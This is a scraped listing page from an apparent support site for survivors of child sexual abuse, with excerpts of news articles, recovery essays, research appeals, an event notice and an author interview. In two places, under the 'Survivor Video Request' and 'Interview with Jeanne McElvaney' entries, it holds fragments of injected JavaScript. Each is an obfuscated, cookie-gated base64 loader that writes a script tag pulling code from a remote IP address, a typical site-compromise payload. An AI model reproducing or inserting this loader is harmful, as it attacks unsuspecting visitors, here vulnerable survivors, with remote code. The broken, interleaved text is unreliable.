Mendham clergy sex abuse memorial rededicated in show of support By PHIL GARBER, Managing Editor | Posted: Monday, April 30, 2012 9:12 am MENDHAM ‑ Bill Crane recalled how he felt when he got the phone call at his Oregon home last November that someone had shattered the memorial to clergy sexual abuse survivors at […]
Submitted Articles
Act of Recovery
written by Michael Hoffman On June 14, 2006 while reading the Chicago Tribune newspaper, I came upon an article about 4 men who filed a civil suit against the Archdiocese of Chicago, alleging childhood sexual abuse by a Catholic priest. I had read similar articles like this before, but on this day, this newspaper article […]
Some things you can do if news coverage of abuse stories is triggering you.
Written by: Chris on 6/14/12 From: MaleSurvivor.org 5505 Connecticut Avenues NW PMB 103 Washington, District of Columbia 20015 Feeling powerless can be a major trigger for many survivors. So too is the feeling that your voice is not going to be heard or your thoughts are not important. The current coverage of the Sandusky trial […]
Survivor Video Request
CALL FOR CHILD SEX ABUSE (CSA) SURVIVOR HOME VIDEO STATEMENTS to appear in the video short/documentary: “I’M A SURVIVOR. SO WHAT?”© ***DEADLINE OCTOBER 26, 2011*** CLICK THIS LINK FOR MORE INFORMATION ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘
Skating Past Pain: Olympian Hopes to Help Young Victims of Sex Abuse
By Lucinda Dillon Kinkead Deseret Morning News Published: Sunday, Oct. 10, 2004 12:38 a.m. MDT There is no way to skate faster than haunting memories. There is no way — even at world record speeds — to race away from a childhood history that made one of this generation’s most powerful female athletes weak. Even […]
EVENT – Justice4PAKids
Join Justice4PAKids as they host a FREE SEMINAR event When: October 6,2011 Where: UFCW Local 1776, 3031 Walton Road, Plymouth Meeting, PA 19462 Time: 7 p.m. to 9 p.m. This event is open to the public and is sponsored by Justice4PAKids.com. For more information or to rsvp please contact info@justice4pakids.com Click here for a link […]
UPDATE – Research Appeal
Hi all, I would just like to take this opportunity to sincerely thank you all for your interest and participation in my research. Without your valuable contribution this research would not be possible. This project is due to finish on the 31st August so I’d like to ask anyone who has partially completed the questionnaire […]
Interview with Jeanne McElvaney
http://www.womensradio.com/episodes/Incest-and-Its-Ramifications/7003.html The above link provides readers with an audio interview with author Jeanne McElvaney writer of “Spirit UnbrokenAbby’s Story”. In this interview Jeanne talks about trauma, dissociation, and the healing process and how it all ties into surviving childhood sexual abuse. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘
Research Appeal
My name is Tara O’Neill and I am a researcher at the University of Ulster in Northern Ireland. I would like to ask for your participation in a research study if you are a survivor of sexual trauma. The purpose of this study will be to investigate the effects of a broad range of traumatic […]
Why Didn’t Abby Tell Someone?
By: Jeanna McElvaney Website: GoToSpirit.com Book: “Spirit Unbroken” Why Didn’t Abby Tell Someone? I hear the question “Why didn’t Abby tell someone?”, and I’m struck by how profoundly disconnected we become as passing years take us away from our childhood. I don’t recall one conversation in my grade school classroom, on the play ground, in […]